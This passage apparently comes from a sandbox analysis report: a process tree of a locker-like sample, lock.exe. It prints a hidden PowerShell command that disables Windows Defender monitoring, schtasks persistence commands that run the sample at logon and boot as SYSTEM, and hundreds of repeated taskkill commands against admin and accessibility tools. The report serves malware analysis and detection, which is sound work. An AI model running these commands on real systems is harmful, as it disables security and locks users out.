    taskkill /f /im wscript.exe
    3⤵
    PID:5992
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:1628
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:6096
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:4332
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:784
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:3584
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5008
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:4088
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:388
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:3260
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:5244
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:2552
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:4932
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:4684
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:5624
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:3488
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:3764
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:2696
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:5956
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:4072
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:4816
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:4504
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:3408
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:1232

C:\Users\Admin\AppData\Local\Temp\lock.exe
"C:\Users\Admin\AppData\Local\Temp\lock.exe" --elevated
1⤵
- Suspicious use of WriteProcessMemory
PID:2460
- C:\Users\Admin\AppData\Local\Temp\lock.exe
  "C:\Users\Admin\AppData\Local\Temp\lock.exe" --elevated
  2⤵
  - Modifies WinLogon for persistence
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - Event Triggered Execution: Image File Execution Options Injection
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4032
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn SystemSecurityLock /tr "\"C:\Users\Admin\AppData\Local\Temp\lock.exe\" --elevated" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2192
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn SystemSecurityLockBoot /tr "\"C:\Users\Admin\AppData\Local\Temp\lock.exe\" --elevated" /sc onstart /rl highest /f /ru SYSTEM
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5472
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5136
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5252
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3388
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5968
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:128
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1828
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4940
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2020
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2480
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4412
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5980
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:380
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4868
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2096
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5252
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1340
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2416
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4896
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4464
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4444
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:4080
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:572
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:72
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:5380
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:1176
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:1148
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:3856
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:5500
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:5564
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:3296
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:4740
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:6056
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:4912
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:3212
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:2924
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:2496
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:2012
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:1380
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:568
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:2256
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5420
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:4952
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:1340
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:5880
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3304
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:4704
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:4028
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:5656
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:5128
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:5940
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5444
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:2800
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:1500
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:5584
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3816
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:4332
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:340
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:756
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:3524
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:4160
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:2016
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5144
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:3572
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:2020
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:3832
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:552
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:5256
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:1992
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:1640
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:5016
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:2520
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:1236
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:1628
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:2172
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:1660
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    - Kills process with taskkill
    PID:1840
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:2840
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:6028
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:3216
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:3000
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:3768
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:4564
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:932
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:4896
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:2388
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1340
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:5208
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4240
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:5948
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:908
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:3588
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:1328
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:6028
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:5220
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:2780
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:5832
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:3084
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:5464
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:5340
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:4252
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5868
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:3276
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2980
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:1232
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:2164
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:972
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:3560
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:1176
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:5524
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:3228
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    - Kills process with taskkill
    PID:2780
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:3812
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:132
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:3696
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:2440
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:6068
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:3568
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:2628
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:5116
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:3572
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:5044
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:4396
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5100
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:2220
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:5564
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:4596
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:5992
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:1700
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:4252
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:6068
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:1896
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    - Kills process with taskkill
    PID:3616
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:4388
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:5352
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:3216
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3856
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:5488
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:836
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:572
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:4600
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:3540
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:4376
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:2188
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4896
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5656
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5828
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:3564
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:5452
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:5928
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:5988
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:552
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:5680
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:1076
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:2892
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:3540
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:3460
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:5492
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:4952
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2188
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:3984
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:4624
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:3340
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:4784
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:5260
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:1824
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:2668
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:4708
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:4452
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:2604
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:5516
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:3936
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:3044
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:5008
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:1640
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:1236
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:4252
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:5324
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:2436
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:3400
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:4688
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:908
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:232
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    - Kills process with taskkill
    PID:4348
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:1900
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:3328
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:2212
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:2696
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:4964
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:2436
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:5196
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:3440
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:5020
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:2600
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:2032
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:2520
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:952
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:1168
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:4500
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:6004
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:2968
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:6048
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:4192
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:4960
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5556
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:4296
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:6028
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:4332
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:2248
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:4028
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:4164
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:2744
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:1728
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:4040
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:2828
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:4688
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:5140
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:5304
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:4932
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:2608
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:2344
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:5564
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5636
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5896
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:5680
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:2916
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:3228
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:3696
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp64.exe
    3⤵
    PID:3488
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msconfig.exe
    3⤵
    PID:3584
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im resmon.exe
    3⤵
    PID:4896
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mmc.exe
    3⤵
    PID:2316
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im perfmon.exe
    3⤵
    PID:2456
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im utilman.exe
    3⤵
    PID:6068
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im osk.exe
    3⤵
    PID:5576
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5420
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im narrator.exe
    3⤵
    PID:1064
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    PID:6004
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cscript.exe
    3⤵
    PID:5332
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mshta.exe
    3⤵
    PID:4032
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im wmic.exe
    3⤵
    PID:2064
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regsvr32.exe
    3⤵
    PID:580
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    PID:5860
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    PID:5976
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    PID:1620
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    PID:5116
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell_ise.exe
    3⤵
    PID:1048
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im procexp.exe
    3⤵
    PID:3528
  - - C:\Windows\System32\Conhost.exe
